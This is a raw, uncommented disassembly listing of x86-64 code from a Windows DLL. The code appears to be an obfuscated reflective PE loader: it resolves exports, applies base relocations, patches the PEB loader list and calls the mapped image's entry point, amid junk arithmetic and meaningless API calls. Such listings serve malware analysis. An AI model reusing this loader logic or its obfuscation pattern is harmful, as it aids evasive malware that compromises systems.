subsd xmm1, qword [0x180030ca8]
mulsd xmm1, xmm14
addsd xmm1, xmm13
movaps xmm0, xmm1
call fcn.1800030f4
mulsd xmm0, qword [0x180030c90]
addsd xmm8, xmm0
add r13d, r12d
movd xmm1, r13d
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [rsp + 0xb0]
comisd xmm0, xmm1
jae 0x1800046de
movsd qword [rsp + 0xd0], xmm8
mov r13d, dword [rsp + 0x1d0]
cmp edi, r13d
jl 0x180004793
mov rsi, qword [rsp + 0x60]
add rsi, 0x90
mov qword [rsp + 0x38], rsi
mov r14d, dword [rsi]
mov r15, qword [rsp + 0x40]
add r14, r15
mov qword [rsp + 0x68], r14
mov rax, rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x80], r8
jmp 0x1800048ee
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], r15
movsd xmm6, qword [0x180030eb8]
comisd xmm6, xmm7
jb 0x1800047f2
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x80], r15
mov r13d, 0x4c
call qword [sym.imp.USER32.dll_DestroyCaret]
mov ecx, r13d
call fcn.180002bc4
movsxd r13, eax
xorps xmm7, xmm7
cvtsi2sd xmm7, r13
comisd xmm6, xmm7
jae 0x1800047cb
mov r13d, dword [rsp + 0x1d0]
comisd xmm7, xmmword [0x180030cc8]
jb 0x180004849
movss xmm1, dword [0x180031014]
movss xmm2, dword [0x180030ee8]
cvttss2si eax, xmm1
divss xmm2, dword [0x180030ca0]
cvttss2si ecx, xmm2
movsx eax, al
movd xmm1, eax
cvtdq2ps xmm1, xmm1
addss xmm1, dword [0x180030ca0]
movd xmm2, ecx
cvtdq2ps xmm2, xmm2
movaps xmm0, xmm1
subss xmm0, xmm2
cvtps2pd xmm7, xmm0
comisd xmm7, xmmword [0x180030cc8]
jae 0x18000480c
movss xmm0, dword [0x180030ff4]
comisd xmm7, xmmword [0x180030d40]
jbe 0x180004899
addss xmm0, xmm0
movaps xmm7, xmm0
cvttss2si ecx, xmm7
call fcn.180002bc4
movsxd rcx, eax
xorps xmm6, xmm6
cvtsi2ss xmm6, rcx
movaps xmm0, xmm6
call fcn.180002e04
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
mulss xmm7, xmm6
divss xmm7, xmm0
comiss xmm7, dword [0x180030f98]
ja 0x18000485b
movss xmm2, dword [0x180030ff0]
movss xmm3, dword [0x180030fd0]
movaps xmm0, xmm2
mulss xmm0, xmm3
cvttss2si eax, xmm0
movaps xmm1, xmm2
divss xmm1, xmm2
addss xmm2, xmm1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movaps xmm0, xmm3
divss xmm0, xmm1
divss xmm0, xmm2
cvtps2pd xmm7, xmm0
movsd qword [rsp + 0x20], xmm7
comisd xmm7, xmmword [0x180030ce8]
jae 0x1800048a9
mov rax, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
movsd xmm14, qword [0x180030cd8]
movsd xmm13, qword [0x180030e50]
movsd xmm12, qword [0x180030e78]
movsd xmm11, qword [0x180030e48]
xor r9d, r9d
cmp dword [r14 + 0xc], r9d
je 0x180004e29
cmp dword [rsi], r9d
je 0x180004e29
cmp edi, r13d
cmovle edi, r13d
mov dword [rsp + 0x1d8], edi
mov ecx, dword [r14 + 0xc]
add rcx, r15
call rax
mov r10, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x70], rax
mov r15d, dword [r14]
mov rcx, qword [rsp + 0x40]
add r15, rcx
mov qword [rsp + 0xb8], r15
mov ebx, dword [r14 + 0x10]
add rbx, rcx
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x28]
jmp 0x180004a1b
xor r9d, r9d
movsxd rdx, edi
cmp qword [rbx], r9
je 0x180004c02
test r15, r15
je 0x180004b32
cmp qword [r15], r9
jge 0x180004b32
mov dword [rsp + 0x1c8], edi
cmp edi, r13d
jle 0x180004b22
cmp rdx, qword [rsp + 0x58]
jge 0x180004af1
movss xmm0, dword [0x180030ff8]
movsd xmm1, qword [0x180030dd0]
jmp 0x180004a84
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
xorps xmm7, xmm7
cvtss2sd xmm7, xmm0
mulsd xmm1, xmm7
subsd xmm7, xmm1
comisd xmm14, xmm7
ja 0x180004a69
ucomisd xmm7, qword [0x180030d28]
jp 0x180004a9d
jne 0x180004a9d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r13b, 0x15
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, r12d
sub al, r13b
movsx r13d, al
lea eax, [r12 + r13]
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movsd xmm0, qword [0x180030d40]
comisd xmm0, xmm7
jae 0x180004aa0
mov eax, dword [rsp + 0x1c8]
add eax, r12d
mov dword [rsp + 0x1c8], eax
mov r13d, dword [rsp + 0x1d0]
cmp eax, r13d
movsxd rdx, edi
jg 0x180004a4c
jmp 0x180004b1f
mov r10, qword [rsp + 0x50]
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
mov eax, dword [rcx + r10 + 0x10]
movzx edx, word [r15]
sub rdx, rax
mov ecx, dword [rcx + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rbx], rax
xor r9d, r9d
add rbx, 8
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x28]
jmp 0x180004b62
cmp rdx, qword [rsp + 0x58]
jl 0x180004bb6
mov rsi, qword [rbx]
add rsi, rcx
lea rdx, [rsi + 2]
mov rcx, r10
call r8
mov qword [rbx], rax
add rbx, 8
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x28]
xor r9d, r9d
test r15, r15
je 0x180004b66
add r15, 8
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x48], rax
movsd qword [rsp + 0x20], xmm7
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], r8
cmp qword [rbx], r9
je 0x180004c02
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x28], r8
mov rcx, qword [rsp + 0x40]
movsxd rdx, edi
mov r10, qword [rsp + 0x50]
jmp 0x180004a2a
movsd xmm6, qword [0x180030d88]
comisd xmm7, xmmword [0x180030cb8]
jae 0x180004bf2
mov ecx, 0x27
call fcn.180002bc4
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x180030ea8]
comisd xmm6, xmm0
jbe 0x180004bf2
movsd xmm7, qword [0x180030ee0]
jmp 0x180004bbe
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movsd xmm7, qword [0x180031030]
jmp 0x180004bbe
mov dword [rsp + 0x1c8], edi
cmp edi, r13d
mov r15, qword [rsp + 0x40]
jle 0x180004915
lea eax, [rdi + 4]
cmp eax, r13d
jg 0x180004e11
mov r15b, 0x10
mov ebx, 8
ucomisd xmm7, xmm11
jp 0x180004c7e
jne 0x180004c7e
lea r13d, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rax, rbx
cqo
idiv r13
movsx ecx, bl
movsx r15d, r15b
imul r15d, ecx
movsx r13, r15b
imul rbx, r13
mov rcx, rbx
imul rcx, r13
cdqe
add rcx, rax
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
ucomisd xmm7, xmm11
jp 0x180004c76
je 0x180004c38
mov r13d, dword [rsp + 0x1d0]
mov r15b, 0x2e
mov qword [rsp + 0x1d8], 0xc
ucomisd xmm7, xmm11
jp 0x180004ce2
jne 0x180004ce2
mov ebx, 0x2e
mov r13, qword [rsp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
imul ebx, r13d
movsxd rcx, ebx
add r15b, cl
movsx ebx, r15b
lea eax, [rcx + rbx]
movsxd r13, eax
movsx rax, r15b
cqo
idiv r13
sub rcx, rax
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
ucomisd xmm7, xmm11
jp 0x180004cda
je 0x180004ca3
mov r13d, dword [rsp + 0x1d0]
movss xmm6, dword [0x180030fbc]
comisd xmm13, xmm7
jb 0x180004d37
movss xmm9, dword [0x180030fe8]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mulss xmm6, xmm9
cvttss2si ebx, xmm6
movsx rcx, bl
call fcn.180002fd8
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movsx eax, bl
movd xmm9, eax
cvtdq2ps xmm9, xmm9
movaps xmm0, xmm9
divss xmm0, xmm6
cvtps2pd xmm7, xmm0
comisd xmm13, xmm7
jae 0x180004cfa
comisd xmm7, xmm12
jbe 0x180004d87
mov ecx, 0x2a
call fcn.180002bc4
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd xmm1, qword [0x180030ef8]
divsd xmm1, xmm0
subsd xmm1, qword [0x180030f40]
comisd xmm1, xmm12
jbe 0x180004d87
mov cl, r12b
call fcn.180002eac
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, dword [0x180030ca0]
cvtps2pd xmm7, xmm0
jmp 0x180004db2
call qword [sym.imp.USER32.dll_GetMessageTime]
mov cl, 0xd
call fcn.180002eac
movsxd rcx, eax
xorps xmm1, xmm1
cvtsi2ss xmm1, rcx
movss xmm0, dword [0x180030f94]
subss xmm0, xmm1
divss xmm1, xmm0
cvtps2pd xmm7, xmm1
mov ebx, 0x36
jmp 0x180004dde
mov ecx, ebx
call fcn.180002bc4
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mov ecx, ebx
call fcn.180002bc4
mov ebx, eax
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm6, xmm0
cvtps2pd xmm7, xmm6
movsd xmm0, qword [0x180030d40]
comisd xmm0, xmm7
movsd qword [rsp + 0x20], xmm7
ja 0x180004db9
mov ecx, dword [rsp + 0x1c8]
add ecx, r12d
mov dword [rsp + 0x1c8], ecx
cmp ecx, r13d
lea eax, [rdi + 4]
jg 0x180004c1a
jmp 0x180004e1a
add r14, 0x14
mov qword [rsp + 0x68], r14
mov rax, qword [rsp + 0x48]
mov r15, qword [rsp + 0x40]
jmp 0x180004912
mov ebx, r12d
movaps xmm0, xmm10
movsd xmm9, qword [0x180030c80]
movsd xmm12, qword [rsp + 0x88]
movsd xmm13, qword [rsp + 0xc0]
mulsd xmm0, xmm12
addsd xmm0, xmm13
call fcn.1800030f4
mulsd xmm0, xmm9
addsd xmm8, xmm0
add ebx, r12d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180004e4d
mov ebx, edi
xorps xmm14, xmm14
cmp edi, r13d
jle 0x180004ee0
movsxd r14, edi
mov r8, qword [rsp + 0x58]
cmp r14, r8
jg 0x1800050b7
ucomisd xmm7, qword [0x180030dc0]
jp 0x180004ea0
je 0x180004eba
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
mov eax, 0x4f
cqo
xor ecx, ecx
idiv rcx
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
comisd xmm7, xmmword [0x180030de0]
jbe 0x180004ece
movsd xmm7, qword [0x180030f10]
jmp 0x180004ed8
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
movaps xmm7, xmm14
add ebx, r12d
cmp ebx, r13d
jg 0x180004e86
mov r8, qword [rsp + 0x58]
cmp dword [rsi + 4], 0
je 0x1800051e5
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
cmovl edi, r13d
mov r14d, dword [rsi]
add r14, r15
mov qword [rsp + 0xa8], r14
movsd xmm9, qword [0x180030d18]
movsd xmm11, qword [0x180030dd8]
xor esi, esi
cmp dword [r14 + 4], esi
je 0x1800051da
mov esi, dword [r14]
add rsi, r15
mov edx, dword [r14 + 4]
sub rdx, 8
shr rdx, 1
lea rax, [r14 + 8]
mov qword [rsp + 0x1d8], rax
movsxd rax, edi
je 0x1800051b3
mov r14, qword [rsp + 0x50]
sub rdx, r12
mov qword [rsp + 0xb0], rdx
mov dword [rsp + 0x1c8], edi
cmp edi, r13d
jle 0x18000519d
cmp rax, r8
jne 0x18000511d
movsd xmm2, qword [0x180030dc8]
mov ecx, 0x29
comisd xmm9, xmm7
jbe 0x180004fc3
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movaps xmm0, xmm2
divsd xmm0, xmm1
cvttsd2si rax, xmm0
subsd xmm2, xmm1
xor ecx, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm2
addsd xmm0, xmm14
comisd xmm9, xmm0
ja 0x180004f8c
mov r15, qword [rsp + 0x40]
movsd xmm6, qword [0x180030e58]
mov ecx, 0x30
movsd xmm1, qword [0x180030d80]
addsd xmm6, xmm1
cvttsd2si ebx, xmm6
movsxd rax, ebx
cqo
idiv rcx
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
cvttsd2si ecx, xmm6
call fcn.180002eac
movsxd rcx, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm6
subsd xmm0, xmm1
comisd xmm0, xmmword [0x180030de8]
ja 0x180004fd8
mov dword [rsp + 0x1d0], 0x42a00000
movss xmm2, dword [0x180030f9c]
movaps xmm0, xmm2
addss xmm0, xmm2
movaps xmm2, xmm0
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
comisd xmm11, xmm1
jae 0x180005031
movss xmm3, dword [0x180030eec]
ucomisd xmm1, qword [0x180030e60]
jp 0x18000505d
je 0x180005094
movss xmm0, dword [0x180030f5c]
divss xmm0, xmm3
cvttss2si eax, xmm0
movaps xmm0, xmm3
mulss xmm0, xmm3
movaps xmm3, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm0
subss xmm1, xmm3
cvtps2pd xmm1, xmm1
ucomisd xmm1, qword [0x180030e60]
jp 0x180005065
jne 0x180005065
comisd xmm1, xmmword [0x180030e00]
jbe 0x1800050d4
xor ecx, ecx
call fcn.180002fd8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movaps xmm7, xmm14
divsd xmm7, xmm0
jmp 0x1800050f9
mov rcx, r15
mov rax, qword [rsp + 0x60]
sub rcx, qword [rax + 0x30]
mov qword [rsp + 0x50], rcx
lea rsi, [rax + 0xb0]
jmp 0x180004ee5
movss xmm0, dword [0x180030f98]
call fcn.180002e04
movsx ecx, al
movd xmm7, ecx
cvtdq2pd xmm7, xmm7
addsd xmm7, xmm10
subsd xmm7, qword [0x180030db0]
mov eax, dword [rsp + 0x1c8]
add eax, r12d
mov dword [rsp + 0x1c8], eax
cmp eax, r13d
movsxd rax, edi
mov r8, qword [rsp + 0x58]
jg 0x180004f6f
jmp 0x180005192
mov r8, qword [rsp + 0x1d8]
movzx ecx, word [r8]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180005142
and ecx, 0xfff
add qword [rcx + rsi], r14
jmp 0x180005186
mov edx, 3
cmp ax, dx
jne 0x180005158
and ecx, 0xfff
add dword [rcx + rsi], r14d
jmp 0x180005186
cmp ax, r12w
jne 0x180005171
and ecx, 0xfff
mov rax, r14
shr rax, 0x10
add word [rcx + rsi], ax
jmp 0x180005186
mov edx, 2
cmp ax, dx
jne 0x180005186
and ecx, 0xfff
add word [rcx + rsi], r14w
add r8, 2
mov qword [rsp + 0x1d8], r8
movsxd rax, edi
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
mov r8, qword [rsp + 0x58]
jne 0x180004f54
mov r14, qword [rsp + 0xa8]
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
cmovl edi, r13d
mov eax, dword [r14 + 4]
add r14, rax
mov qword [rsp + 0xa8], r14
mov r8, qword [rsp + 0x58]
jmp 0x180004f1d
movsd xmm9, qword [0x180030c80]
jmp 0x1800051e7
xor esi, esi
mov ebx, r12d
mulsd xmm10, xmm12
addsd xmm10, xmm13
movaps xmm0, xmm10
call fcn.1800030f4
mulsd xmm0, xmm9
addsd xmm8, xmm0
add ebx, r12d
movd xmm10, ebx
cvtdq2pd xmm10, xmm10
comisd xmm15, xmm10
jae 0x1800051ea
mov rax, qword [rsp + 0x60]
mov ebx, dword [rax + 0x28]
add rbx, r15
mov r14, qword [rsp + 0x1c0]
mov rcx, r15
cmp byte [r14 + 8], sil
jne 0x1800052a2
mov rdx, qword [r14 + 0x10]
call fcn.18000314c
mov rdi, rax
test rax, rax
je 0x1800052aa
cmp byte [r14 + 0x3c], sil
je 0x180005281
mov r8, qword [r14 + 0x40]
test r8, r8
je 0x180005281
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x180005276
cmp qword [rcx + 0x20], r8
je 0x18000527d
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x18000526d
jmp 0x180005281
mov qword [rcx + 0x20], r15
xor r8d, r8d
mov edx, r12d
mov rcx, r15
call rbx
mov r9d, dword [r14 + 0x38]
mov r8, qword [r14 + 0x30]
mov rdx, qword [r14 + 0x28]
mov rcx, qword [r14 + 0x20]
call rdi
cdqe
jmp 0x1800052df
xor r8d, r8d
mov edx, r12d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x180031020]
comisd xmm8, xmm0
jb 0x1800052d4
subsd xmm8, xmm0
comisd xmm8, xmm0
jae 0x1800052d4
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm8
add rax, rcx
add rax, rbx
lea r11, [rsp + 0x180]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret